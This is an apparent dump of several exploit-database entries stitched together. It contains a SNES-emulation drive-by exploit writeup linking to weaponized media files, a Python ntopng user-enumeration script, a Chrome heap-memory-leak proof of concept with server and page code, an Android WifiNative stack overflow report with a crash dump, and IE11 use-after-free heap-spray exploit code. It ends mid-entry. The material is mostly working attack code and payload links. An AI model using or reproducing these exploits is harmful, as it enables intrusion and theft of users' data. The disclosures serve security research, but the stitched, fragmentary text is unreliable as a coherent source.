HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wp-settings-time-1=1480877693
Connection: close*
Source: https://scarybeastsecurity.blogspot.com/2016/12/redux-compromising-linux-using-snes.html
## Overview
Full reliable 0day drive-by exploit against Fedora 25 + Google Chrome, by breaking out of Super Nintendo Entertainment System emulation via cascading side effects from a subtle and interesting emulation error.
I had a lot of fun compromising the Linux desktop using 6502 opcodes on the original Nintendo NES (https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-compromising-linux-desktop.html). Would it be possible to have even more fun? Why, yes it would! My previous NES related exploit suffered from multiple fun-limiting issues:
- Although it was a genuine 0day exploit, it only affected very old Linux distributions. Something affecting bang up to date Linux installs would generate greater lulz.
- The vulnerability that was abused -- a total lack of bounds checking on memory bank mapping -- was somewhat obvious. More fun can often be had with vulnerabilities that are slightly more subtle.
- The lack of “super”! The Super Nintendo Entertainment System (SNES) is even more iconic than the original NES. Regarding its 1990 release, Wikipedia notes (https://en.wikipedia.org/wiki/Super_Nintendo_Entertainment_System) "the resulting social disturbance led the Japanese government to ask video game manufacturers to schedule future console releases on weekends". So we need more Super.
Resolving all the above, I present here a full, working, reliable, 0day exploit for current Linux distributions (Ubuntu 16.04 LTS and Fedora 25). It’s a full drive-by download in the context of Fedora. It abuses cascading subtle side effects of an emulation misstep that at first appears extremely difficult to exploit but ends up presenting beautiful and 100% reliable exploitation possibilities.
You’ve likely guessed it by now, but the Linux gstreamer media playback framework supports playback of SNES music files by…. emulating the SNES CPU and audio processor, courtesy of Game Music Emu (http://www.slack.net/~ant/libs/audio.html). How cool is that?
- - -
## Demo and impact
Today, the demos are videos instead of images. This first video shows a full, reliable drive-by download against Fedora 25 + Google Chrome. The strong reliability of this exploit makes it work inside Fedora’s tracker-extract process, which has highly variable heap state that has frustrated my other exploit attempts. Finally, decent exploit proof of my earlier suspicion that tracker + Google Chrome is very dangerous (https://scarybeastsecurity.blogspot.com/2016/11/0day-poc-risky-design-decisions-in.html):
- https://www.youtube.com/watch?v=WKwRijjqdzY
Exploit file: gnome_calc_fedora_25_libc_2.24-3.spc (rename it to .flac to get it to work as in the video).
- Download: https://security.appspot.com/security/spc/gnome_calc_fedora_25_libc_2.24-3.spc
- Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40943-1.flac
And this second video shows a couple of different exploitation contexts in Ubuntu 16.04 LTS, using the same exploit file for each. Again, this is showcasing the reliability that the underlying vulnerability permits. The different exploited processes (gnome-video-thumbnailer and totem) have very different heap and threading setups:
- https://www.youtube.com/watch?v=wrCLoem6ggM
Exploit file: xcalc_ubuntu_16.04_libc_2.23-0ubuntu3.spc (rename it to .mp3 to get it to work as in the video).
- Download: https://security.appspot.com/security/spc/xcalc_ubuntu_16.04_libc_2.23-0ubuntu3.spc
- Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40943-2.mp3
Impact is mixed. On Ubuntu, the faulty code is installed and on the attack surface by default, if you select the “mp3” option during install -- which I certainly always do. On Fedora, there’s a very sensible decision to split gstreamer1-plugins-bad into multiple packages, with only gstreamer1-plugins-bad-free installed by default. This limits the attack surface and does not include Game Music Emu. Of course, the gstreamer framework will happily offer to install gstreamer1-plugins-bad-free-extras, with a very nice UI, if the victim simply tries to open the relevant media file.
As always, the general lack of sandboxing here contributes to the severity. I think we inhabit a world where media parsing sandboxes should be mandatory these days. There’s hope: some of my other recent disclosures appear to have motivated a sandbox for Gnome’s tracker (https://bugzilla.gnome.org/show_bug.cgi?id=764786).
# Exploit title: ntopng user enumeration
# Author: Dolev Farhi
# Contact: dolevf at protonmail.com
# Date: 04-08-2016
# Vendor homepage: ntop.org
# Software version: v.2.5.160805
#!/usr/env/python
import os
import sys
import urllib
import urllib2
import cookielib
server = 'ip.add.re.ss'
username = 'ntopng-user'
password = 'ntopng-password'
timeout = 6
if len(sys.argv) < 2:
print("usage: %s <usernames file>") % sys.argv[0]
sys.exit(1)
if not os.path.isfile(sys.argv[1]):
print("%s doesn't exist") % sys.argv[1]
sys.exit(1)
try:
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
login_data = urllib.urlencode({'user' : username, 'password' :
password, 'referer' : '/authorize.html'})
opener.open('http://' + server + ':3000/authorize.html', login_data,
timeout=timeout)
print("\nEnumerating ntopng...\n")
with open(sys.argv[1]) as f:
for user in f:
user = user.strip()
url = 'http://%s:3000/lua/admin/validate_new_user.lua?user=%s&netw
orks=0.0.0.0/0,::/0' % (server, user)
resp = opener.open(url)
if "existing" not in resp.read():
print "[NOT FOUND] %s" % user
else:
print "[FOUND] %s" % user
except Exception as e:
print e
sys.exit(1)
'''
Source: http://blog.skylined.nl/20161219001.html
Synopsis
A specially crafted HTTP response can allow a malicious web-page to trigger a out-of-bounds read vulnerability in Google Chrome. The data is read from the main process' memory.
Known affected software, attack vectors and potential mitigations
Google Chrome up to, but not including, 31.0.1650.48
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript does not prevent an attacker from triggering the vulnerable code path, but may prevent exfiltration of information.
Since the affected code has not been changed since 2009, I assume this affects all versions of Chrome released in the last few years.
Details
The HttpStreamParser class is used to send HTTP requests and receive HTTP responses. Its read_buf_ member is a buffer used to store HTTP response data received from the server. Parts of the code are written under the assumption that the response currently being parsed is always stored at the start of this buffer (as returned by read_buf_->StartOfBuffer()), other parts take into account that this may not be the case (read_buf_->StartOfBuffer() + read_buf_unused_offset_). In most cases, responses are removed from the buffer once they have been parsed and any superfluous data is moved to the beginning of the buffer, to be treated as part of the next response. However, the code special cases HTTP 1xx replies and returns a result without removing the request from the buffer. This means that the response to the next request will not be stored at the start of the buffer, but after this HTTP 1xx response and read_buf_unused_offset_ should be used to find where it starts.
The code that special cases HTTP 1xx responses is:
if (end_of_header_offset == -1) {
<<<snip>>>
} else {
// Note where the headers stop.
read_buf_unused_offset_ = end_of_header_offset;
if (response_->headers->response_code() / 100 == 1) {
// After processing a 1xx response, the caller will ask for the next
// header, so reset state to support that. We don't just skip these
// completely because 1xx codes aren't acceptable when establishing a
// tunnel.
io_state_ = STATE_REQUEST_SENT;
response_header_start_offset_ = -1;
<<<Note: the code above does not remove the HTTP 1xx response from the
buffer.>>>
} else {
<<<Note: the code that follows either removes the response from the buffer
immediately, or expects it to be removed in a call to
ReadResponseBody later.>>>
<<<snip>>>
return result;
}
A look through the code has revealed one location where this can lead to a security issue (also in DoReadHeadersComplete). The code uses an offset from the start of the buffer (rather than the start of the current responses) to pass as an argument to a DoParseResponseHeaders.
if (result == ERR_CONNECTION_CLOSED) {
<<<snip>>>
// Parse things as well as we can and let the caller decide what to do.
int end_offset;
if (response_header_start_offset_ >= 0) {
io_state_ = STATE_READ_BODY_COMPLETE;
end_offset = read_buf_->offset();
<<<Note: "end_offset" is relative to the start of the buffer>>>
} else {
io_state_ = STATE_BODY_PENDING;
end_offset = 0;
<<<Note: "end_offset" is relative to the start of the current response
i.e. start + read_buf_unused_offset_.>>>
}
int rv = DoParseResponseHeaders(end_offset);
<<<snip>>>
DoParseResponseHeaders passes the argument unchanged to HttpUtil::AssembleRawHeaders:
int HttpStreamParser::DoParseResponseHeaders(int end_offset) {
scoped_refptr<HttpResponseHeaders> headers;
if (response_header_start_offset_ >= 0) {
headers = new HttpResponseHeaders(HttpUtil::AssembleRawHeaders(
read_buf_->StartOfBuffer() + read_buf_unused_offset_, end_offset));
<<<snip>>>
The HttpUtil::AssembleRawHeaders method takes two arguments: a pointer to a buffer, and the length of the buffer. The pointer is calculated correctly (in DoParseResponseHeaders) and points to the start of the current response. The length is the offset that was calculated incorrectly in DoReadHeadersComplete. If the current response is preceded by a HTTP 1xx response in the buffer, this length is larger than it should be: the calculated value will be the correct length plus the size of the previous HTTP 1xx response (read_buf_unused_offset_).
std::string HttpUtil::AssembleRawHeaders(const char* input_begin,
int input_len) {
std::string raw_headers;
raw_headers.reserve(input_len);
const char* input_end = input_begin + input_len;
input_begin was calculated as read_buf_->StartOfBuffer() + read_buf_unused_offset_,
input_len was incorrectly calculated as len(headers) + read_buf_unused_offset_,
input_end will be read_buf_->StartOfBuffer() + 2 * read_buf_unused_offset_ + len(headers)
input_end is now beyond the end of the actual headers. The code will continue to rely on this incorrect value to try to create a copy of the headers, inadvertently making a copy of data that is not part of this response and may not even be part of the read_buf_ buffer. This could cause the code to copy data from memory that is stored immediately after read_buf_ into a string that represents the response headers. This string is passed to the renderer process that made the request, allowing a web-page inside the sandbox to read memory from the main process' heap.
An ASCII diagram might be useful to illustrate what is going on:
read_buf_: "HTTP 100 Continue\r\n...HTTP XXX Current response\r\n...Unused..."
read_buf_->StartOfBuffer() -----^
read_buf_->capacity() ----------[================================================================]
read_buf_->offset() ------------[=======================================================]
read_buf_unused_offset_ -------[=======================]
DoReadHeadersComplete/DoParseResponseHeaders:
end_offset ---------------------[=======================================================]
AssembleRawHeaders:
input_begin ---------------------------------------------^
input_len ----------------------------------------------[========================================###############]
error in input_len value --------------------------------------------------------------[========###############]
(== read_buf_unused_offset_)
Memory read from the main process' heap ---------------------------------------------------------[##############]
Repro
The below proof-of-concept consist of a server that hosts a simple web-page. This web-page uses XMLHttpRequest to make requests to the server. The server responds with a carefully crafted reply to exploit the vulnerability and leak data from the main process' memory in the HTTP headers of the response. The web-page then uses getAllResponseHeaders() to read the leaked data, and posts it to the server, which displays the memory. The PoC makes no attempt to influence the layout of the main process' memory, so arbitrary data will be shown and access violation may occur which crash Chrome. With the PoC loaded in one tab, simply browsing the internet in another might show some leaked information from the pages you visit.
PoC.py:
'''
import BaseHTTPServer, json, sys, socket;
def sploit(oHTTPServer, sBody):
iReadSize = 2048;
# The size of the HTTP 1xx response determines how many bytes can be read beyond the next response.
# This HTTP 1xx response is padded to allow reading the desired amount of bytes:
sFirstResponse = pad("HTTP/1.1 100 %s\r\n\r\n", iReadSize);
oHTTPServer.wfile.write(sFirstResponse);
# The size of the second response determines where in the buffer reading of data beyond the response starts.
# For a new connection, the buffer start empty and grows in 4K increments. If the HTTP 1xx response and the second
# response have a combined size of less then 4K, the buffer will be 4K in size. If the second response is padded
# correctly, the first byte read beyond it will be the first byte beyond the buffer, which increases the chance of
# reading something useful.
sSecondResponse = pad("HTTP/1.1 200 %s\r\nx: x", 4 * 1024 - 1 - len(sFirstResponse));
oHTTPServer.wfile.write(sSecondResponse);
oHTTPServer.wfile.close();
if sBody:
sLeakedMemory = json.loads(sBody);
assert sLeakedMemory.endswith("\r\n"), \
"Expected CRLF is missing: %s" % repr(sLeakedMemory);
asLeakedMemoryChunks = sLeakedMemory[:-2].split("\r\n");
sFirstChunk = None;
for sLeakedMemoryChunk in asLeakedMemoryChunks:
if sLeakedMemoryChunk.startswith("x: x"):
sFirstChunk = sLeakedMemoryChunk[4:];
if sFirstChunk:
dump(sFirstChunk);
asLeakedMemoryChunks.remove(sLeakedMemoryChunk);
if len(asLeakedMemoryChunks) == 1:
print "A CR/LF/CRLF separates the above memory chunk from the below chunk:";
elif len(asLeakedMemoryChunks) > 1:
print "A CR/LF/CRLF separates the above memory chunk from the below chunks, their original order is unknown:";
for sLeakedMemoryChunk in asLeakedMemoryChunks:
dump(sLeakedMemoryChunk);
break;
else:
dump(sLeakedMemory);
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def handle_one_request(self, *txArgs, **dxArgs):
try:
return BaseHTTPServer.BaseHTTPRequestHandler.handle_one_request(self, *txArgs, **dxArgs);
except socket.error:
pass;
def do_GET(self):
self.do_GET_or_POST();
def do_POST(self):
self.do_GET_or_POST();
def __sendFileResponse(self, iCode, sFilePath):
try:
oFile = open(sFilePath, "rb");
sContent = oFile.read();
oFile.close();
except:
self.__sendResponse(500, "Cannot find %s" % sFilePath);
else:
self.__sendResponse(iCode, sContent);
def __sendResponse(self, iCode, sContent):
self.send_response(iCode);
self.send_header("accept-ranges", "bytes");
self.send_header("cache-control", "no-cache, must-revalidate");
self.send_header("content-length", str(len(sContent)));
self.send_header("content-type", "text/html");
self.send_header("date", "Sat Aug 28 1976 09:15:00 GMT");
self.send_header("expires", "Sat Aug 28 1976 09:15:00 GMT");
self.send_header("pragma", "no-cache");
self.end_headers();
self.wfile.write(sContent);
self.wfile.close();
def do_GET_or_POST(self):
try:
try:
iContentLength = int(self.headers.getheader("content-length"));
except:
sBody = "";
else:
sBody = self.rfile.read(iContentLength);
if self.path in gdsFiles:
return self.__sendFileResponse(200, gdsFiles[self.path]);
elif self.path in gdsFunctions:
return gdsFunctions[self.path](self, sBody);
else:
return self.__sendResponse(404, "Not found");
except:
self.server.server_close();
raise;
def pad(sTemplate, iSize):
iPadding = iSize - len(sTemplate % "");
return sTemplate % (iPadding * "A");
def dump(sMemory):
asDWords = []; iDWord = 0; asBytes = []; asChars = [];
print "-%s-.-%s-.-%s" % (
("%d DWORDS" % (len(sMemory) >> 2)).center(35, "-"),
("%d BYTES" % len(sMemory)).center(47, "-"),
"ASCII".center(16, "-"));
for iIndex in xrange(len(sMemory)):
sByte = sMemory[iIndex];
iByte = ord(sByte);
asChars.append(0x1f < iByte < 0x80 and sByte or ".");
asBytes.append("%02X" % iByte);
iBitOffset = (iIndex % 4) * 8;
iDWord += iByte << iBitOffset;
if iBitOffset == 24 or (iIndex == len(sMemory) - 1):
asDWords.append({
0: " %02X",
8: " %04X",
16:" %06X",
24:"%08X"
}[iBitOffset] % iDWord);
iDWord = 0;
if (iIndex % 16 == 15) or (iIndex == len(sMemory) - 1):
print " %-35s | %-47s | %s" % (" ".join(asDWords), " ".join(asBytes), "".join(asChars));
asDWords = []; asBytes = []; asChars = [];
if __name__ == "__main__":
gdsFiles = {
"/": "proxy.html",
}
gdsFunctions = {
"/sploit": sploit,
}
txAddress = ("localhost", 28876);
oHTTPServer = BaseHTTPServer.HTTPServer(txAddress, RequestHandler);
print "Serving at: http://%s:%d" % txAddress;
try:
oHTTPServer.serve_forever();
except KeyboardInterrupt:
pass;
oHTTPServer.server_close();
'''
Proxy.html:
<!doctype html>
<html>
<head>
<script>
var iThreads = 1; // number of simultanious request "threads", higher = faster extraction of data
var iDelay = 1000; // delay between requests in each "thread", lower = faster extraction of data
function requestLoop(sDataToSend) {
var oXMLHttpRequest = new XMLHttpRequest();
oXMLHttpRequest.open("POST", "/sploit", true);
oXMLHttpRequest.onreadystatechange = function () {
if (oXMLHttpRequest.readyState === 4) {
if (oXMLHttpRequest.status == 200) {
var sHeaders = oXMLHttpRequest.getAllResponseHeaders();
console.log("response =" + oXMLHttpRequest.status + " " + oXMLHttpRequest.statusText);
console.log("headers =" + sHeaders.length + ":[" + sHeaders + "]");
if (iDelay > 0) {
setTimeout(function() {
requestLoop(sHeaders);
}, iDelay);
} else {
requestLoop(sHeaders);
}
} else {
document.write("Server failed!");
}
}
}
oXMLHttpRequest.send(sDataToSend ? JSON.stringify(sDataToSend) : "");
}
window.addEventListener("load", function () {
for (var i = 0; i < iThreads; i++) requestLoop("");
}, true);
</script>
</head>
<body>
</body>
</html>
Exploit
The impact depends on what happens to be stored on the heap immediately following the buffer. Since a web-page can influence the activities of the main process (e.g. it can ask it to make other HTTP requests), a certain amount of control over the heap layout is possible. An attacker could attempt to create a "heap feng shui"-like attack where careful manipulation of the main process' activities allow reading of various types of information from the main process' heap. The most obvious targets that come to mind are http request/response data for different domains, such as log-in cookies, or session keys and function pointers that can be used to bypass ASLR/DEP. There are undoubtedly many other forms of interesting information that can be revealed in this way.
There are little limits to the number of times an attacker can exploit this vulnerability, assuming the attacker can avoid triggering an access violation: if the buffer happens to be stored at the end of the heap, attempts to exploit this vulnerability could trigger an access violation/segmentation fault when the code attempts to read beyond the buffer from unallocated memory addresses.
Fix
I identified and tested two approaches to fixing this bug:
- Fix the code where it relies on the response being stored at the start of the buffer.
This addresses the incorrect addressing of memory that causes this vulnerability in various parts of the code. The design to keep HTTP 1xx responses in the buffer remains unchanged.
- Remove HTTP 1xx responses from the buffer.
There was inline documentation in the source that explained why HTTP 1xx responses were handled in a special way, but it didn't make much sense to me. This fix changes the design to no longer keep the HTTP 1xx response in the buffer. There is an added benefit to this fix in that it removes a potential DoS attack, where a server responds with many large HTTP 1xx replies, all of which are kept in memory and eventually cause an OOM crash in the main process.
The later fix was eventually implemented.
Time-line
27 September 2013: This vulnerability and two patches were submitted to the Chromium bugtracker.
2 October 2013: A patch for this vulnerability was submitted by Google.
12 November 2013: This vulnerability was address in version 31.0.1650.48.
19 December 2016: Details of this vulnerability are released.
'''
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=958
The following code in frameworks/opt/net/wifi/service/jni/com_android_server_wifi_WifiNative.cpp doesn't validate the parameter params.num_bssid, and then copies that number of elements into a stack-allocated wifi_bssid_hotlist_params structure. I don't think this can be reached from an untrusted_app context; but it can be reached from a context with system_api_service access; so a compromised platform app or one of several lower privileged system services (bluetooth, nfc etc.).
static jboolean android_net_wifi_setHotlist(
JNIEnv *env, jclass cls, jint iface, jint id, jobject ap) {
JNIHelper helper(env);
wifi_interface_handle handle = getIfaceHandle(helper, cls, iface);
ALOGD("setting hotlist on interface[%d] = %p", iface, handle);
wifi_bssid_hotlist_params params;
memset(¶ms, 0, sizeof(params));
params.lost_ap_sample_size = helper.getIntField(ap, "apLostThreshold");
JNIObject<jobjectArray> array = helper.getArrayField(
ap, "bssidInfos", "[Landroid/net/wifi/WifiScanner$BssidInfo;");
params.num_bssid = helper.getArrayLength(array);
if (params.num_bssid == 0) {
ALOGE("setHotlist array length was 0");
return false;
}
for (int i = 0; i < params.num_bssid; i++) { // <--- no validation on num_bssid
JNIObject<jobject> objAp = helper.getObjectArrayElement(array, i);
JNIObject<jstring> macAddrString = helper.getStringField(objAp, "bssid");
if (macAddrString == NULL) {
ALOGE("Error getting bssid field");
return false;
}
ScopedUtfChars chars(env, macAddrString);
const char *bssid = chars.c_str();
if (bssid == NULL) {
ALOGE("Error getting bssid");
return false;
}
parseMacAddress(bssid, params.ap[i].bssid); // <--- params.ap has 128 elements.
mac_addr addr;
memcpy(addr, params.ap[i].bssid, sizeof(mac_addr));
char bssidOut[32];
snprintf(bssidOut, sizeof(bssidOut), "%0x:%0x:%0x:%0x:%0x:%0x", addr[0],
addr[1], addr[2], addr[3], addr[4], addr[5]);
ALOGD("Added bssid %s", bssidOut);
params.ap[i].low = helper.getIntField(objAp, "low");
params.ap[i].high = helper.getIntField(objAp, "high");
}
See attached for a POC which causes a crash before the function with the corrupted stack frame returns and checks the stack cookie.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[---------------------------------------------------------------------REGISTERS----------------------------------------------------------------------]
*X0 0x80000000 <-- 0x0
*X1 0x0
*X2 0x707882c3e0 <-- u'c0:1d:b3:3f:01:...'
*X3 0x3
*X4 0x709bf05fc0 <-- stp x28, x27, [sp, #-0x60]!
*X5 0x709c1f07b0 (art::gJniNativeInterface) <-- 0x0
*X6 0x709bf27034 <-- cbz x2, #0x709bf27040 /* u'b' */
*X7 0x284801ff284800ff
*X8 0xc01d0142c01d0229
*X9 0x1
*X10 0xc01d0142c01d0141
*X11 0x7082dff4e8 <-- 0x41013fb31dc0
X12 0x0
*X13 0x0
*X14 0x0
*X15 0x33511e057221be
*X16 0x709f0035a0 (pthread_getspecific@got.plt) --> 0x709efaad5c (pthread_getspecific) <-- movz w8, #0x8000, lsl #16
*X17 0x709efaad5c (pthread_getspecific) <-- movz w8, #0x8000, lsl #16
*X18 0x0
*X19 0x707882c3e0 <-- u'c0:1d:b3:3f:01:...'
*X20 0x7082dfe0a0 --> 0x70833c1470 --> 0x7083381c0c (android::JNIObject<_jobject*>::~JNIObject()) <-- adrp x2, #0x70833c2000
*X21 0x7082dfe0b8 --> 0x70833c1490 --> 0x7083381c70 (android::JNIObject<_jstring*>::~JNIObject()) <-- adrp x2, #0x70833c2000
*X22 0x7082dfe078 <-- 0x0
*X23 0xb1da807287fa8cf
*X24 0x709f00e86c (je_tsd_tsd) <-- 0xa880000000
*X25 0x7082dfe8d8 <-- u'c0:1d:b3:3f:1:4...'
*X26 0x200011
*X27 0x7082dfe0d0 <-- 0x100000000001
*X28 0x707882c3e0 <-- u'c0:1d:b3:3f:01:...'
*SP 0x70815310f0 <-- 0x0
*PC 0x709efaada8 (pthread_getspecific+76) <-- ldr x10, [x10, #0xe0]
[------------------------------------------------------------------------CODE------------------------------------------------------------------------]
=> 0x709efaada8L <pthread_getspecific+76> ldr x10, [x10, #0xe0]
0x709efaadacL <pthread_getspecific+80> cmp x10, x9
0x709efaadb0L <pthread_getspecific+84> b.ne #pthread_getspecific+56 <0x709efaad94>
...
0x709efaad94L <pthread_getspecific+56> mov x0, xzr
0x709efaad98L <pthread_getspecific+60> str xzr, [x8]
0x709efaad9cL <pthread_getspecific+64> ret
0x709efaada0L <pthread_getspecific+68> add x10, x10, x8, lsl #4
0x709efaada4L <pthread_getspecific+72> add x8, x10, #0xe8
=> 0x709efaada8L <pthread_getspecific+76> ldr x10, [x10, #0xe0]
0x709efaadacL <pthread_getspecific+80> cmp x10, x9
0x709efaadb0L <pthread_getspecific+84> b.ne #pthread_getspecific+56 <0x709efaad94>
[------------------------------------------------------------------------CODE------------------------------------------------------------------------]
155 in bionic/libc/bionic/pthread_key.cpp
[-----------------------------------------------------------------------STACK------------------------------------------------------------------------]
00:0000| sp 0x70815310f0 <-- 0x0
...
04:0020| 0x7081531110 --> 0x3f800000 <-- 0x0
05:0028| 0x7081531118 <-- 0x0
...
[---------------------------------------------------------------------BACKTRACE----------------------------------------------------------------------]
> f 0 709efaada8 pthread_getspecific+76
f 1 709efd2394 je_free+68
f 2 709efd2394 je_free+68
f 3 709efd2394 je_free+68
f 4 709efd2394 je_free+68
f 5 7083387d10
f 6 7083387d10
f 7 7083387d10
Program received signal SIGSEGV (fault address 0x1d0142c01d0221)
pwndbg> bt
#0 pthread_getspecific (key=<optimized out>) at bionic/libc/bionic/pthread_key.cpp:160
#1 0x000000709efd2394 in je_tsd_wrapper_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#2 je_tsd_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#3 je_tsd_fetch () at external/jemalloc/include/jemalloc/internal/tsd.h:614
#4 je_free (ptr=0x707882c3e0) at external/jemalloc/src/jemalloc.c:1932
#5 0x0000007083387d10 in _JNIEnv::ReleaseStringUTFChars (utf=0x707882c3e0 "c0:1d:b3:3f:01:"..., string=0x200011, this=0x7091fd2b00) at libnativehelper/include/nativehelper/jni.h:851
#6 ScopedUtfChars::~ScopedUtfChars (this=<synthetic pointer>, __in_chrg=<optimized out>) at libnativehelper/include/nativehelper/ScopedUtfChars.h:45
#7 android::android_net_wifi_setHotlist (env=0x7091fd2b00, cls=<optimized out>, iface=<optimized out>, id=0x690a3633, ap=<optimized out>) at frameworks/opt/net/wifi/service/jni/com_android_server_wifi_WifiNative.cpp:799
#8 0x000000709b1a084c in ?? ()
Fixed in https://source.android.com/security/bulletin/2016-12-01.html
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40945.zip
<!--
Source: http://blog.skylined.nl/20161220001.html
Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.
Known affected software, attack vectors and potential mitigations
Microsoft Internet Explorer 11
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::DoEmbedPointers and when you execute document.execCommand("Delete"). This memory can be freed when you execute document.open() in a DOMNodeRemoved event handler. After that, you can use Javascript to reallocate the memory before it is reused.
Repro.html:
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script type="text/javascript">
document.addEventListener("DOMNodeRemoved", function () {
document.open(); // free
// attempt to modify freed memory here
// because it will be reused after this function returns.
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete"); // allocate
};
</script>
</head>
<body>
</body>
</html>
Exploit
After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.
Sploit.html:
-->
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script src="cLFHSpray.js"></script>
<script src="cBlockSpray.js"></script>
<script>
var aauCopiesAndSizes = [
[0x08, 0x80],
[0x08, 0x40],
[0x08, 0x20],
[0x10, 0x80]
];
var uBaseAddress = 0x12340000;
var aoBlockSprays = new Array(aauCopiesAndSizes.length);
for (var i = 0; i < aauCopiesAndSizes.length; i++) {
aoBlockSprays[i] = new cBlockSpray(aauCopiesAndSizes[i][0], aauCopiesAndSizes[i][1]);
aoBlockSprays[i].setChunkDWord(0x0100, uBaseAddress + 0x0300);
aoBlockSprays[i].spray();
}
document.addEventListener("DOMNodeRemoved", function () {
document.open();
var oLFHReuse = new cLFHSpray(10, 0x28);
oLFHReuse.setDWord(0x10, uBaseAddress + 0x0100);
oLFHReuse.setDWord(0x14, uBaseAddress + 0x0200);
oLFHReuse.spray();
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete");
document.designMode="off";
};
</script>
</head>
<body>
</body>
</html>
<!--
########################################################################
cLFHSpray.js:
function cLFHSpray(uCount, uSize) {
this.aoElements = new Array(uCount);
var auSprayChars = new Array(uSize - 1 >> 1);
for (var i = 0; i < auSprayChars.length; i++) {
auSprayChars[i] = ((i & 0xFF) * 0x202 + 0x100) & 0xFFFF;
}
this.setDWord = function(uOffset, uValue) {
this.setWord(uOffset, uValue & 0xFFFF);
this.setWord(uOffset + 2, uValue >>> 16);
}
this.setWord = function(uOffset, uValue) {
this.setByte(uOffset, uValue & 0xFF);
this.setByte(uOffset + 1, uValue >>> 8);
}
this.setByte = function(uOffset, uValue) {
var uCharOffset = uOffset >> 1;
var uByte0 = (uOffset & 1 ? auSprayChars[uCharOffset] : uValue) & 0xFF;
var uByte1 = (uOffset & 1 ? uValue : (auSprayChars[uCharOffset] >> 8)) & 0xFF;
auSprayChars[uCharOffset] = uByte0 + (uByte1 << 8);
}
this.spray = function() {
var sSprayBuffer = String.fromCharCode.apply(0, auSprayChars);
for (var i = 0; i < uCount; i++) {
this.aoElements[i] = document.createElement("span"); // allocate 0x34 bytes
this.aoElements[i].className = sSprayBuffer; // allocate 0x10, uSize and 0x40 bytes.
}
}
}
########################################################################
cBlockSpray.js:
var cBlockSpray = (function() {
var uChunkSize = 0x10000;
var uBlockHeaderSize = 0x10;
var uBlockFooterSize = 0x04;
var asChunkTemplate = new Array(uChunkSize / 2);
for (var uIndex = 0; uIndex < asChunkTemplate.length; uIndex += 2) {
asChunkTemplate[uIndex] = String.fromCharCode(uIndex);
asChunkTemplate[uIndex + 1] = String.fromCharCode(0xDEAD);
}
return function cBlockSpray(uBlockCount, uChunkCount) {
this.uBlockSize = uChunkCount * uChunkSize - uBlockHeaderSize - uBlockFooterSize;
var sChunk = asChunkTemplate.join("");
var sBlock, asBlocks = new Array(uBlockCount);
this.setChunkDWord = function (uOffset, uValue) {
this.setChunkWord(uOffset, uValue & 0xFFFF);
this.setChunkWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setChunkWord = function (uOffset, uValue) {
if (sBlock) throw new Error("Cannot set chunk values after generating block");
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
if (uOffset >= uChunkSize) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + uChunkSize.toString(16));
var uIndex = uOffset / 2;
var sValue = String.fromCharCode(uValue & 0xFFFF);
sChunk = sChunk.substr(0, uIndex) + sValue + sChunk.substr(uIndex + 1);
}
this.generateBlock = function () {
if (sBlock) throw new Error("Cannot generating block twice");
sBlock = (
sChunk.substr(uBlockHeaderSize / 2) +
new Array(uChunkCount - 1).join(sChunk) +
sChunk.substr(0, (uChunkSize - uBlockFooterSize) / 2)
);
}
this.setBlockDWord = function (uOffset, uValue) {
this.setBlockWord(uOffset, uValue & 0xFFFF);
this.setBlockWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setBlockWord = function (uOffset, uValue) {
if (!sBlock) this.generateBlock();
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
var uIndex = (uOffset - uBlockHeaderSize) / 2;
if (uIndex < 0) throw new Error("uOffset (" + uOffset.toString(16) + ") must be larger than 0x" + uBlockHeaderSize.toString(16));
if (uIndex >= sBlock.length) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + (uBlockHeaderSize + sBlock.length * 2).toString(16));
var sValue = String.fromCharCode(uValue & 0xFFFF);
sBlock = sBlock.substr(0, uIndex) + sValue + sBlock.substr(uIndex + 1);
}
this.spray = function() {
if (!sBlock) this.generateBlock();
for (var i = 0; i < uBlockCount; i++) {
asBlocks[i] = ("" + sBlock).slice(0);
}
}
}
})();
Time-line
30 December 2013: This vulnerability was submitted to ZDI.
8 January 2014: This vulnerability was acquired by ZDI.
14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
10 June 2014: This vulnerability was address by Microsoft in MS14-035.
20 December 2016: Details of this vulnerability are released.
-->
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=961
